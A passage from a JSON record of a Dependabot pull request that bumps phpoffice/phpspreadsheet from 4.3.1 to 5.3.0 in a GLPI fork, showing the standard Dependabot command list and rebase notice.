/\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=4.3.1\u0026new-version=5.3.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e\n\n\u003e **Note**\n\u003e Automatic rebases have been disabled on this pull request as it has been open for over 30 days.\n","html_url":"https://github.com/orthagh/glpi/pull/850","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/orthagh%2Fglpi/issues/850","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/850/packages"}}]}